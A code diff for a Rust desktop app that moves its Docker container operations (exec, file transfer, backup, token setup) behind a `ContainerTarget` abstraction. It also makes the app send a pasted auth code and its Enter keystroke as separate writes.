         )
         .await

app/src-tauri/src/browser_view/proxy.rs

@@ -62,6 +62,7 @@ use tokio::task::{JoinHandle, JoinSet};
 
 use crate::auth_bridge::proc_net::PortFamily;
 use crate::auth_bridge::tunnel::tunnel_connection_with_prelude;
+use crate::host::ContainerTarget;
 
 /// Host loopback ports the pane may be served on, and therefore the exact set of
 /// origins enumerated in the app's `frame-src`. Keep the two in sync: adding a
@@ -103,9 +104,9 @@ impl Drop for BrowserViewProxy {
 
 impl BrowserViewProxy {
     /// Take the first free port in [`PROXY_PORTS`] on the host loopback and
-    /// start gating connections into `container_id`'s `container_port`.
+    /// start gating connections into `container`'s `container_port`.
     pub async fn bind(
-        container_id: String,
+        container: ContainerTarget,
         container_port: u16,
         family: PortFamily,
         token: String,
@@ -121,7 +122,7 @@ impl BrowserViewProxy {
                 Ok(listener) => {
                     let task = tokio::spawn(accept_loop(
                         listener,
-                        container_id,
+                        container,
                         family.socat_target(container_port),
                         container_port,
                         token,
@@ -172,7 +173,7 @@ fn host_authorities(port: u16) -> Vec<String> {
 #[allow(clippy::too_many_arguments)]
 async fn accept_loop(
     listener: TcpListener,
-    container_id: String,
+    container: ContainerTarget,
     target: String,
     container_port: u16,
     token: String,
@@ -195,7 +196,7 @@ async fn accept_loop(
                 let _ = stream.set_nodelay(true);
                 conns.spawn(serve_connection(
                     stream,
-                    container_id.clone(),
+                    container.clone(),
                     target.clone(),
                     container_port,
                     token.clone(),
@@ -214,7 +215,7 @@ async fn accept_loop(
 #[allow(clippy::too_many_arguments)]
 async fn serve_connection(
     mut stream: TcpStream,
-    container_id: String,
+    container: ContainerTarget,
     target: String,
     container_port: u16,
     token: String,
@@ -249,7 +250,7 @@ async fn serve_connection(
 
     // Authorized: hand the socket to the same socat-over-Docker-exec tunnel the
     // auth bridge uses, replaying the head we had to buffer to make the call.
-    tunnel_connection_with_prelude(container_id, target, stream, container_port, head).await;
+    tunnel_connection_with_prelude(container, target, stream, container_port, head).await;
 }
 
 /// Read bytes until the end of the HTTP request head (`\r\n\r\n`), or fail.

app/src-tauri/src/commands/auth_bridge_commands.rs

@@ -5,6 +5,7 @@
 use tauri::{AppHandle, State};
 
 use crate::auth_bridge::AuthBridgeStatus;
+use crate::host::ContainerTarget;
 use crate::AppState;
 
 /// Turn the bridge on or off for a project and return the resulting status.
@@ -29,16 +30,13 @@ pub async fn set_auth_bridge_enabled(
             .projects_store
             .get(&project_id)
             .ok_or_else(|| format!("Project {} not found", project_id))?;
-        if let Some(container_id) = project.container_id {
-            if crate::docker::container::is_container_running(&container_id)
-                .await
-                .unwrap_or(false)
-            {
+        if let Some(container) = ContainerTarget::for_project(&project) {
+            if container.is_running().await.unwrap_or(false) {
                 state
                     .auth_bridge
                     .start(
                         project_id.clone(),
-                        container_id,
+                        container,
                         app_handle,
                         state.projects_store.clone(),
                     )

app/src-tauri/src/commands/auth_token_commands.rs

@@ -76,8 +76,7 @@ use tauri::{AppHandle, Emitter, State};
 use tokio::io::AsyncWriteExt;
 use tokio::sync::{mpsc, oneshot, Mutex};
 
-use crate::docker::container::is_container_running;
-use crate::docker::exec::{create_attached_exec, wait_for_exec_exit, AttachedExec};
+use crate::host::{AttachedExec, ContainerTarget};
 use crate::storage::secure;
 use crate::AppState;
 
@@ -106,6 +105,16 @@ const CODE_REJECTED_EVENT: &str = "claude-token-code-rejected";
 /// browser, sign in, and approve. Bounded so a wedged exec can't leak a task.
 const SETUP_TIMEOUT: Duration = Duration::from_secs(15 * 60);
 
+/// Pause between typing the pasted code and pressing Enter.
+///
+/// The CLI's prompt reads a multi-byte chunk as a paste, and a `\r` inside a
+/// paste is swallowed with it rather than submitting. Code and Enter in one
+/// write therefore fill the prompt and submit nothing, and the flow waits out
+/// [`SETUP_TIMEOUT`]. Measured against 2.1.283 under a pty: 20 ms apart
+/// already submits reliably; this leaves headroom for the extra hops through
+/// Docker's exec socket, which can merge writes that arrive close together.
+pub(crate) const SUBMIT_ENTER_DELAY: Duration = Duration::from_millis(250);
+
 /// Documented shape of a `setup-token` credential.
 const TOKEN_PREFIX: &str = "sk-ant-oat01-";
 
@@ -611,7 +620,7 @@ const MAX_ANSI_CARRY: usize = 64 * 1024;
 /// Stateful wrapper around [`strip_ansi_prefix`] that carries an incomplete
 /// trailing sequence over to the next chunk.
 #[derive(Default)]
-struct AnsiStripper {
+pub(crate) struct AnsiStripper {
     carry: Vec<u8>,
     /// OSC 8 link targets seen since the last [`AnsiStripper::take_links`].
     /// Kept out of the return value so every existing caller and test of
@@ -620,7 +629,7 @@ struct AnsiStripper {
 }
 
 impl AnsiStripper {
-    fn push(&mut self, chunk: &[u8]) -> String {
+    pub(crate) fn push(&mut self, chunk: &[u8]) -> String {
         self.carry.extend_from_slice(chunk);
         let (mut out, links, consumed) = strip_ansi_prefix(&self.carry);
         self.record_links(links);
@@ -634,7 +643,7 @@ impl AnsiStripper {
         // fresh chunk, which re-enters here.
         if self.carry.len() > MAX_ANSI_CARRY {
             log::warn!(
-                "`claude setup-token` emitted an unterminated control sequence \
+                "the command emitted an unterminated control sequence \
                  longer than {} bytes — treating it as text",
                 MAX_ANSI_CARRY
             );
@@ -724,7 +733,7 @@ const REJECTION_SCAN_WINDOW: usize = 4096;
 const CODE_REJECTED_MARKERS: &[&str] = &["invalid code", "press enter to retry"];
 
 /// Append `chunk` to `buf`, keeping no more than `cap` bytes of the tail.
-fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
+pub(crate) fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
     buf.push_str(chunk);
     if buf.len() <= cap {
         return;
@@ -837,13 +846,27 @@ unset CLAUDE_CODE_OAUTH_TOKEN ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN ANTHROPIC_B
       ANTHROPIC_MODEL CLAUDE_CODE_USE_BEDROCK AWS_BEARER_TOKEN_BEDROCK
 exec claude setup-token"#;
 
+/// Type `code` into the CLI's prompt, then press Enter as a separate keystroke.
+///
+/// See [`SUBMIT_ENTER_DELAY`] for why the two cannot share a write.
+async fn type_code_then_enter<W: tokio::io::AsyncWrite + Unpin>(
+    input: &mut W,
+    code: &[u8],
+) -> std::io::Result<()> {
+    input.write_all(code).await?;
+    input.flush().await?;
+    tokio::time::sleep(SUBMIT_ENTER_DELAY).await;
+    input.write_all(b"\r").await?;
+    input.flush().await
+}
+
 /// Run `claude setup-token` in the container and return the token it printed.
 /// Streams redacted output as it arrives and forwards anything arriving on
-/// `input_rx` (the user's pasted code) to the command's stdin.
+/// `input_rx` (the user's pasted code) to the command's stdin, each followed by Enter.
 async fn run_setup_token(
     app: &AppHandle,
     project_id: &str,
-    container_id: &str,
+    target: &ContainerTarget,
     mut input_rx: mpsc::UnboundedReceiver<Vec<u8>>,
     mut cancel_rx: oneshot::Receiver<()>,
 ) -> Result<String, String> {
@@ -853,16 +876,16 @@ async fn run_setup_token(
         exec_id,
         mut output,
         mut input,
-    } = create_attached_exec(
-        container_id,
-        vec![
-            "sh".to_string(),
-            "-c".to_string(),
-            SETUP_TOKEN_SCRIPT.to_string(),
-        ],
-        true,
-    )
-    .await?;
+    } = target
+        .attach_exec(
+            vec![
+                "sh".to_string(),
+                "-c".to_string(),
+                SETUP_TOKEN_SCRIPT.to_string(),
+            ],
+            true,
+        )
+        .await?;
 
     let mut stripper = AnsiStripper::default();
     let mut redactor = SecretRedactor::default();
@@ -894,14 +917,13 @@ async fn run_setup_token(
                     "Authentication cancelled. No token was stored.".to_string()
                 );
             }
-            Some(data) = input_rx.recv() => {
-                if let Err(e) = input.write_all(&data).await {
+            Some(code) = input_rx.recv() => {
+                if let Err(e) = type_code_then_enter(&mut input, &code).await {
                     return Err(format!(
                         "Could not send the code to `claude setup-token`: {}. No token was stored.",
                         e
                     ));
                 }
-                let _ = input.flush().await;
                 // Arm the rejection detector. Anything the CLI says from here
                 // on is a verdict on *this* code.
                 awaiting_code_result = true;
@@ -1018,7 +1040,7 @@ async fn run_setup_token(
     // Falling through to the token parse is right either way — a run that
     // printed a token succeeded whatever Docker says about it — but it is worth
     // saying so rather than silently calling it a clean exit.
-    match wait_for_exec_exit(&exec_id).await {
+    match target.wait_exec_exit(&exec_id).await {
         Some(0) => {}
         Some(code) => {
             return Err(format!(
@@ -1068,13 +1090,13 @@ pub async fn acquire_claude_token(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project.container_id.clone().ok_or_else(|| {
+    let target = ContainerTarget::for_project(&project).ok_or_else(|| {
         format!(
             "Project '{}' has no container yet. Start it, then run authentication again.",
             project.name
         )
     })?;
-    if !is_container_running(&container_id).await.unwrap_or(false) {
+    if !target.is_running().await.unwrap_or(false) {
         return Err(format!(
             "The container for '{}' is not running. Start it, then run authentication again.",
             project.name
@@ -1110,8 +1132,7 @@ pub async fn acquire_claude_token(
         "Running `claude setup-token` — sign in at the URL below, then submit the code it gives you.",
     );
 
-    let result =
-        run_setup_token(&app_handle, &project_id, &container_id, input_rx, cancel_rx).await;
+    let result = run_setup_token(&app_handle, &project_id, &target, input_rx, cancel_rx).await;
 
     // Release the flow. Nothing else needs unwinding: this command changes no
     // persisted state until the token itself is stored, which is the point.
@@ -1158,10 +1179,9 @@ pub async fn submit_claude_token_code(code: String) -> Result<(), String> {
             .to_string()
     })?;
 
-    let mut keystrokes = code.as_bytes().to_vec();
-    keystrokes.push(b'\r');
+    // Just the code: the flow presses Enter itself, as a separate keystroke.
     sender
-        .send(keystrokes)
+        .send(code.as_bytes().to_vec())
         .map_err(|_| "The authentication flow has already ended.".to_string())
 }
 
@@ -2229,4 +2249,50 @@ mod tests {
         assert_eq!(outcome.snapshots_skipped.len(), 1, "{:?}", outcome);
         assert!(outcome.snapshots_failed.is_empty(), "{:?}", outcome);
     }
+
+    /// Records every `poll_write` as a separate entry, with when it landed, so
+    /// a test can see write boundaries that a byte pipe would merge.
+    #[derive(Default)]
+    struct RecordingWriter {
+        writes: Vec<(tokio::time::Instant, Vec<u8>)>,
+    }
+
+    impl tokio::io::AsyncWrite for RecordingWriter {
+        fn poll_write(
+            mut self: std::pin::Pin<&mut Self>,
+            _cx: &mut std::task::Context<'_>,
+            buf: &[u8],
+        ) -> std::task::Poll<std::io::Result<usize>> {
+            self.writes
+                .push((tokio::time::Instant::now(), buf.to_vec()));
+            std::task::Poll::Ready(Ok(buf.len()))
+        }
+        fn poll_flush(
+            self: std::pin::Pin<&mut Self>,
+            _cx: &mut std::task::Context<'_>,
+        ) -> std::task::Poll<std::io::Result<()>> {
+            std::task::Poll::Ready(Ok(()))
+        }
+        fn poll_shutdown(
+            self: std::pin::Pin<&mut Self>,
+            _cx: &mut std::task::Context<'_>,
+        ) -> std::task::Poll<std::io::Result<()>> {
+            std::task::Poll::Ready(Ok(()))
+        }
+    }
+
+    /// Code and Enter in one write is read by the CLI as a paste: the code
+    /// fills the prompt and the `\r` is swallowed with it, so nothing is
+    /// submitted and the flow sits until `SETUP_TIMEOUT`. Measured against
+    /// 2.1.283 under a pty; a separate Enter 20 ms later submits.
+    #[tokio::test(start_paused = true)]
+    async fn the_code_and_its_enter_are_separate_writes() {
+        let mut w = RecordingWriter::default();
+        type_code_then_enter(&mut w, b"abc#def").await.unwrap();
+
+        assert_eq!(w.writes.len(), 2, "expected two writes, got {:?}", w.writes);
+        assert_eq!(w.writes[0].1, b"abc#def");
+        assert_eq!(w.writes[1].1, b"\r");
+        assert!(w.writes[1].0 - w.writes[0].0 >= SUBMIT_ENTER_DELAY);
+    }
 }

app/src-tauri/src/commands/file_commands.rs

@@ -4,14 +4,11 @@ use std::sync::Arc;
 
 use base64::engine::general_purpose::STANDARD as BASE64;
 use base64::Engine as _;
-use bollard::container::{DownloadFromContainerOptions, LogOutput};
-use bollard::exec::{CreateExecOptions, StartExecResults};
 use futures_util::StreamExt;
 use serde::Serialize;
 use tauri::State;
 
-use crate::docker::client::get_docker;
-use crate::docker::exec::{exec_oneshot_as, exec_oneshot_streams_as, OUTPUT_LIMIT_MARKER};
+use crate::host::{ContainerTarget, ExecChunk, ExecSpec, OUTPUT_LIMIT_MARKER};
 use crate::AppState;
 
 #[derive(Debug, PartialEq, Serialize)]
@@ -63,9 +60,7 @@ pub async fn list_container_files(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "Container not running".to_string())?;
 
     // `exec_oneshot` discards the exit code, which is how a `find` that listed
@@ -78,7 +73,8 @@ pub async fn list_container_files(
     // are the error message, its `-printf` records are the listing, and the
     // parser should never be handed the former.
     let (records, diagnostics, code) =
-        exec_oneshot_streams_as(container_id, "claude", list_argv(&path), Vec::new())
+        target
+            .exec_oneshot_streams_as("claude", list_argv(&path), Vec::new())
             .await
             .map_err(|e| describe_listing_failure(&path, e))?;
 
@@ -156,7 +152,7 @@ fn list_argv(path: &str) -> Vec<String> {
 /// folder can act on.
 ///
 /// One case is worth naming: a directory with more entries than
-/// [`crate::docker::exec::MAX_ONESHOT_OUTPUT`] will hold. Roughly 100k names is
+/// [`crate::host::MAX_ONESHOT_OUTPUT`] will hold. Roughly 100k names is
 /// the point where a `find` record set passes 8 MiB, and what the panel showed
 /// was "Command output exceeded 8388608 bytes and was abandoned" — a true
 /// statement about a buffer, and no help at all about a directory.
@@ -430,7 +426,11 @@ pub(crate) fn validate_container_write_path(what: &str, path: &str) -> Result<()
 /// and the lexical answer stands: failing every write closed would break the
 /// panel outright for a risk the container user does not need this code path to
 /// take.
-async fn resolve_container_dir(container_id: &str, what: &str, dir: &str) -> Result<(), String> {
+async fn resolve_container_dir(
+    target: &ContainerTarget,
+    what: &str,
+    dir: &str,
+) -> Result<(), String> {
     validate_container_write_path(what, dir)?;
 
     // Split streams, not the combined buffer: `realpath`'s answer is a *path*
@@ -438,18 +438,18 @@ async fn resolve_container_dir(container_id: &str, what: &str, dir: &str) -> Res
     // hazard the listing above took apart for `find`. A warning on stderr —
     // and there is one whenever a component is unreadable — used to be spliced
     // into the string this then compared against the write roots.
-    let (stdout, diagnostics, code) = exec_oneshot_streams_as(
-        container_id,
-        "claude",
-        vec![
-            "realpath".to_string(),
-            "-m".to_string(),
-            "--".to_string(),
-            dir.to_string(),
-        ],
-        Vec::new(),
-    )
-    .await?;
+    let (stdout, diagnostics, code) = target
+        .exec_oneshot_streams_as(
+            "claude",
+            vec![
+                "realpath".to_string(),
+                "-m".to_string(),
+                "--".to_string(),
+                dir.to_string(),
+            ],
+            Vec::new(),
+        )
+        .await?;
 
     let resolved = stdout.trim();
     if code != 0 || resolved.is_empty() {
@@ -1188,7 +1188,7 @@ pub(crate) struct FetchedFile {
 
 /// Fetch a single regular file from a container as exact bytes.
 ///
-/// The viewer's read. It deliberately goes through Docker's archive endpoint rather than
+/// The viewer's read. It deliberately goes through the archive endpoint rather than
 /// `exec_oneshot`: that reader runs every chunk through `String::from_utf8_lossy`
 /// and merges stderr into stdout, so it would both corrupt any non-UTF-8 file
 /// and be able to splice diagnostics into what the caller believes is content.
@@ -1203,18 +1203,11 @@ pub(crate) struct FetchedFile {
 /// read — landed in host RAM twice. This function buffers, so every caller of
 /// it must name a ceiling.
 pub(crate) async fn fetch_container_file(
-    container_id: &str,
+    container: &ContainerTarget,
     container_path: &str,
     max_bytes: u64,
 ) -> Result<FetchedFile, String> {
-    let docker = get_docker()?;
-
-    let mut stream = docker.download_from_container(
-        container_id,
-        Some(DownloadFromContainerOptions {
-            path: container_path.to_string(),
-        }),
-    );
+    let mut stream = container.download_archive(container_path);
 
     // A tar member is a 512-byte header plus payload padded to 512. 8 KiB of
     // slack past the payload cap guarantees the header and the whole capped
@@ -1297,13 +1290,11 @@ pub async fn read_container_file(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "Container not running".to_string())?;
 
     let cap = max_bytes.unwrap_or(MAX_READ_BYTES).min(MAX_READ_BYTES);
-    let fetched = fetch_container_file(container_id, &path, cap).await?;
+    let fetched = fetch_container_file(&target, &path, cap).await?;
 
     Ok(FileContents {
         contents_base64: BASE64.encode(&fetched.bytes),
@@ -1333,9 +1324,7 @@ pub async fn rename_container_path(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "Container not running".to_string())?;
 
     // The name is checked by `validate_entry_name`; the path it is applied to
@@ -1349,7 +1338,7 @@ pub async fn rename_container_path(
     // directory component to resolve.
     let parent = parent_dir(&from_path);
     if parent != "/" {
-        resolve_container_dir(container_id, "Item", &parent).await?;
+        resolve_container_dir(&target, "Item", &parent).await?;
     }
 
     let new_name = to_path.trim();
@@ -1364,8 +1353,7 @@ pub async fn rename_container_path(
     // and exits 0 — so `-n` on its own would report a rename that never
     // happened. The existence check is what turns it into an error the user
     // sees; `-n` stays as the belt-and-braces against the race between them.
-    let (_, exists) = exec_oneshot_as(
-        container_id,
+    let (_, exists) = target.exec_oneshot_as(
         "claude",
         vec!["test".to_string(), "-e".to_string(), dest.clone()],
         Vec::new(),
@@ -1375,8 +1363,7 @@ pub async fn rename_container_path(
         return Err(format!("\"{}\" already exists in this folder", new_name));
     }
 
-    let (output, code) = exec_oneshot_as(
-        container_id,
+    let (output, code) = target.exec_oneshot_as(
         "claude",
         vec![
             "mv".to_string(),
@@ -1417,19 +1404,16 @@ pub async fn create_container_directory(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "Container not running".to_string())?;
 
-    resolve_container_dir(container_id, "Folder", &parent_path).await?;
+    resolve_container_dir(&target, "Folder", &parent_path).await?;
 
     let name = name.trim();
     validate_entry_name(name)?;
     let dest = join_path(&parent_path, name);
 
-    let (output, code) = exec_oneshot_as(
-        container_id,
+    let (output, code) = target.exec_oneshot_as(
         "claude",
         vec!["mkdir".to_string(), "--".to_string(), dest.clone()],
         Vec::new(),
@@ -1459,20 +1443,19 @@ pub(crate) fn not_running_message(action: &str, why: &str) -> String {
 /// Refuse, in a sentence, before a Docker error has to speak for us.
 ///
 /// Both file transfers and the backup run through `docker exec`, which needs a
-/// running container. Without this the failure surfaces as bollard's
+/// running container. Without this the failure surfaces as Docker's
 /// `is not running` wrapped in whatever the caller was doing, and for the
 /// upload it surfaces even less usefully: `resolve_container_dir`'s `realpath`
 /// is the first thing to touch the container, so a stopped project fails inside
 /// path *validation* and reads like the path was the problem.
-pub(crate) async fn require_running(container_id: &str, action: &str) -> Result<(), String> {
-    let docker = get_docker()?;
-    let running = docker
-        .inspect_container(container_id, None)
-        .await
-        .ok()
-        .and_then(|info| info.state)
-        .and_then(|s| s.running)
-        .unwrap_or(false);
+pub(crate) async fn require_running(
+    container: &ContainerTarget,
+    action: &str,
+) -> Result<(), String> {
+    // An unreachable daemon is an error; an inspect failure (container gone)
+    // reads as "not running" — `is_running`'s contract, and what this did
+    // when it inspected the container itself.
+    let running = container.is_running().await?;
     if running {
         return Ok(());
     }
@@ -1543,12 +1526,10 @@ pub async fn download_container_file(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "No container exists for this project yet — start it first".to_string())?;
 
-    require_running(container_id, "saving a file to the host").await?;
+    require_running(&target, "saving a file to the host").await?;
 
     let Some(chosen) = pick_save_path(&window, &suggested_save_name(&container_path)).await else {
         // Dismissed. Not an error, and deliberately distinguishable from one:
@@ -1564,8 +1545,6 @@ pub async fn download_container_file(
     // costs. See the note on `pick_save_path` about which ones those are.
     let dest = resolve_host_path(&chosen, HostPathUse::WriteChosenName).await?;
 
-    let docker = get_docker()?;
-
     // `$TC_SRC`, never argv interpolation: the path reaches the shell as an
     // environment value, so a name containing a quote or a `$` is data.
     //
@@ -1627,30 +1606,19 @@ esac
 echo "TC_SIZE=$SZ" >&2
 dd iflag=nonblock bs=64k status=none if="$TC_SRC" || exit 5"#;
 
-    let exec = docker
-        .create_exec(
-            container_id,
-            CreateExecOptions {
-                attach_stdout: Some(true),
-                attach_stderr: Some(true),
-                cmd: Some(vec!["sh".to_string(), "-c".to_string(), script.to_string()]),
-                env: Some(vec![format!("TC_SRC={}", container_path)]),
-                user: Some("claude".to_string()),
-                ..Default::default()
-            },
+    // As `claude`, no TTY, no stdin and no working directory (the image's
+    // default) — the options this exec has always been created with.
+    let exec = target
+        .attach(
+            ExecSpec::new(vec!["sh".to_string(), "-c".to_string(), script.to_string()])
+                .env(vec![format!("TC_SRC={}", container_path)])
+                .working_dir(None)
+                .no_stdin(),
         )
         .await
         .map_err(|e| format!("Failed to start download: {}", e))?;
-
-    let result = docker
-        .start_exec(&exec.id, None)
-        .await
-        .map_err(|e| format!("Failed to start download: {}", e))?;
-
-    let mut output = match result {
-        StartExecResults::Attached { output, .. } => output,
-        StartExecResults::Detached => return Err("Download exec started detached".to_string()),
-    };
+    let exec_id = exec.exec_id;
+    let mut output = exec.output;
 
     use tokio::io::AsyncWriteExt;
     let partial = partial_download_path(&dest)?;
@@ -1696,7 +1664,7 @@ dd iflag=nonblock bs=64k status=none if="$TC_SRC" || exit 5"#;
 
     while let Some(msg) = output.next().await {
         match msg {
-            Ok(LogOutput::StdOut { message }) => {
+            Ok(ExecChunk::StdOut(message)) => {
                 if let Err(e) = writer.write_all(&message).await {
                     stream_err = Some(format!("Failed to write {}: {}", dest.display(), e));
                     break;
@@ -1727,7 +1695,7 @@ dd iflag=nonblock bs=64k status=none if="$TC_SRC" || exit 5"#;
                     }
                 }
             }
-            Ok(LogOutput::StdErr { message }) => {
+            Ok(ExecChunk::StdErr(message)) => {
                 push_capped(&mut stderr_text, &message);
                 if declared.is_none() {
                     declared = parse_declared_size(&stderr_text);
@@ -1760,7 +1728,7 @@ dd iflag=nonblock bs=64k status=none if="$TC_SRC" || exit 5"#;
     // success renames a truncated partial over the file the user already had
     // and reports the byte count as if it were the whole thing. That is the one
     // way this command could destroy data, so silence is failure.
-    let exit_code = crate::docker::exec::wait_for_exec_exit(&exec.id).await;
+    let exit_code = target.wait_exec_exit(&exec_id).await;
     if stream_err.is_none() && exit_code != Some(0) {
         // Framed and clipped, never verbatim.
         //
@@ -1894,7 +1862,7 @@ pub struct UploadOutcome {
 ///   * the destination goes through [`resolve_container_dir`], so it is inside
 ///     [`CONTAINER_WRITE_ROOTS`] both as written and as it resolves;
 ///   * the read, the size ceiling and the descriptor check are
-///     `docker::exec::upload_host_file_with_ids`', unchanged — including
+///     `ContainerTarget::upload_host_file_with_ids`', unchanged — including
 ///     landing the file owned by the container user rather than root.
 ///
 /// The dialog itself is opened from Rust ([`pick_files_to_upload`]), which is
@@ -1911,15 +1879,13 @@ pub async fn upload_files_to_container(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "No container exists for this project yet — start it first".to_string())?;
 
     // Both checks before the dialog, so a project that cannot receive files
     // says so instead of asking the user to choose some first.
-    require_running(container_id, "uploading files").await?;
-    resolve_container_dir(container_id, "Upload", &container_dir).await?;
+    require_running(&target, "uploading files").await?;
+    resolve_container_dir(&target, "Upload", &container_dir).await?;
 
     let Some(picked) = pick_files_to_upload(&window).await else {
         return Ok(None);
@@ -1930,14 +1896,14 @@ pub async fn upload_files_to_container(
     // files; this one is the check that actually guards the extraction. A modal
     // has no time limit, and `resolve_container_dir` answers a question about
     // the container's filesystem — which the container is free to change while
-    // the dialog is open. Without this, `docker::exec`'s doc comment claim that
+    // the dialog is open. Without this, the uploader's doc comment claim that
     // the destination "has already been confirmed" would be true only of a
     // moment that had passed.
-    resolve_container_dir(container_id, "Upload", &container_dir).await?;
+    resolve_container_dir(&target, "Upload", &container_dir).await?;
 
     // Once for the whole selection, not once per file — see
     // `upload_host_file_with_ids`.
-    let ids = crate::docker::exec::container_user_ids(container_id).await;
+    let ids = target.user_ids().await;
 
     let mut outcome = UploadOutcome {
         uploaded: Vec::new(),
@@ -1951,7 +1917,7 @@ pub async fn upload_files_to_container(
                 continue;
             }
         };
-        match upload_one(container_id, &path, &container_dir, ids).await {
+        match upload_one(&target, &path, &container_dir, ids).await {
             Ok(dest) => {
                 log::info!("Uploaded {} into project {} at {}", path, project_id, dest);
                 outcome.uploaded.push(dest);
@@ -1966,7 +1932,7 @@ pub async fn upload_files_to_container(
 /// naming the file, because the caller may be reporting several at once and
 /// "is a folder" on its own does not say which one.
 async fn upload_one(
-    container_id: &str,
+    target: &ContainerTarget,
     host_path: &str,
     container_dir: &str,
     ids: (u64, u64),
@@ -1990,7 +1956,7 @@ async fn upload_one(
     // The ceiling is enforced against the open descriptor inside the uploader;
     // this copy of it exists so the refusal arrives as a sentence instead of
     // after a 300 MB read.
-    use crate::docker::exec::MAX_DROP_BYTES;
+    use crate::host::MAX_DROP_BYTES;
     if meta.len() > MAX_DROP_BYTES {
         return Err(format!(
             "{} is too large to upload ({:.0} MB; limit {} MB). Mount it into the project instead.",
@@ -2000,14 +1966,9 @@ async fn upload_one(
         ));
     }
 
-    crate::docker::exec::upload_host_file_with_ids(
-        container_id,
-        &resolved,
-        container_dir,
-        &name,
-        ids,
-    )
-    .await
+    target
+        .upload_host_file_with_ids(&resolved, container_dir, &name, ids)
+        .await
 }
 
 /// Container-authored diagnostic text, cut down to something safe to quote.
@@ -2274,14 +2235,10 @@ pub async fn download_container_backup(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "No container exists for this project yet — start it first".to_string())?;
 
-    let docker = get_docker()?;
-
-    require_running(container_id, "backing up").await?;
+    require_running(&target, "backing up").await?;
 
     let path = container_path.unwrap_or_else(|| "/workspace".to_string());
     // Read-only source: `tar -C` it, so absoluteness and `..` are what matter.
@@ -2326,33 +2283,22 @@ tar czf - --ignore-failed-read \
 
     let cmd = vec!["sh".to_string(), "-c".to_string(), script.to_string()];
 
-    let exec = docker
-        .create_exec(
-            container_id,
-            CreateExecOptions {
-                attach_stdout: Some(true),
-                attach_stderr: Some(true),
-                cmd: Some(cmd),
-                env: Some(vec![
+    // As `claude`, no TTY, no stdin and no working directory (the image's
+    // default) — the options this exec has always been created with.
+    let exec = target
+        .attach(
+            ExecSpec::new(cmd)
+                .env(vec![
                     "HOME=/home/claude".to_string(),
                     format!("TC_BACKUP_SRC={}", path),
-                ]),
-                user: Some("claude".to_string()),
-                ..Default::default()
-            },
+                ])
+                .working_dir(None)
+                .no_stdin(),
         )
         .await
-        .map_err(|e| format!("Failed to create backup exec: {}", e))?;
-
-    let result = docker
-        .start_exec(&exec.id, None)
-        .await
-        .map_err(|e| format!("Failed to start backup exec: {}", e))?;
-
-    let mut output = match result {
-        StartExecResults::Attached { output, .. } => output,
-        StartExecResults::Detached => return Err("Backup exec started detached".to_string()),
-    };
+        .map_err(|e| format!("Failed to start backup: {}", e))?;
+    let exec_id = exec.exec_id;
+    let mut output = exec.output;
 
     use tokio::io::AsyncWriteExt;
     let partial = partial_download_path(&dest)?;
@@ -2401,14 +2347,14 @@ tar czf - --ignore-failed-read \
 
     while let Some(msg) = output.next().await {
         match msg {
-            Ok(LogOutput::StdOut { message }) => {
+            Ok(ExecChunk::StdOut(message)) => {
                 if let Err(e) = writer.write_all(&message).await {
                     stream_err = Some(format!("Failed to write backup file: {}", e));
                     break;
                 }
                 total += message.len() as u64;
             }
-            Ok(LogOutput::StdErr { message }) => {
+            Ok(ExecChunk::StdErr(message)) => {
                 push_capped(&mut stderr_text, &message);
             }
             Ok(_) => {}
@@ -2430,7 +2376,7 @@ tar czf - --ignore-failed-read \
     // when `total > 0`. Poll until the exec actually reports finished so the
     // exit code is reliably populated; if it can't be determined we fall back to
     // the `total == 0` check below.
-    let exit_code = crate::docker::exec::wait_for_exec_exit(&exec.id).await;
+    let exit_code = target.wait_exec_exit(&exec_id).await;
 
     if stream_err.is_none() && exit_code.is_some_and(|c| c != 0) {
         stream_err = Some(format!(
@@ -3564,10 +3510,11 @@ mod tests {
 
         // `/workspace/escape` is under a write root as a string and is `/etc` as
         // a location.
-        let escaped = resolve_container_dir(&name, "Folder", "/workspace/escape").await;
+        let target = ContainerTarget::docker(name.clone());
+        let escaped = resolve_container_dir(&target, "Folder", "/workspace/escape").await;
         println!("container escape: {:?}", escaped);
         assert!(escaped.is_err(), "a symlink out of /workspace was accepted");
-        resolve_container_dir(&name, "Folder", "/workspace")
+        resolve_container_dir(&target, "Folder", "/workspace")
             .await
             .expect("/workspace itself");
 
@@ -3575,7 +3522,7 @@ mod tests {
         // reporting itself empty — `-H` follows the start point, and only the
         // start point.
         let (records, diagnostics, code) =
-            exec_oneshot_streams_as(&name, "claude", list_argv("/workspace/link"), Vec::new())
+            target.exec_oneshot_streams_as("claude", list_argv("/workspace/link"), Vec::new())
                 .await
                 .unwrap();
         println!("link: code={} diagnostics={:?}", code, diagnostics);
@@ -3588,7 +3535,7 @@ mod tests {
         // The link itself is still *marked* as one in its parent's listing, and
         // still navigable.
         let (records, _, _) =
-            exec_oneshot_streams_as(&name, "claude", list_argv("/workspace"), Vec::new())
+            target.exec_oneshot_streams_as("claude", list_argv("/workspace"), Vec::new())
                 .await
                 .unwrap();
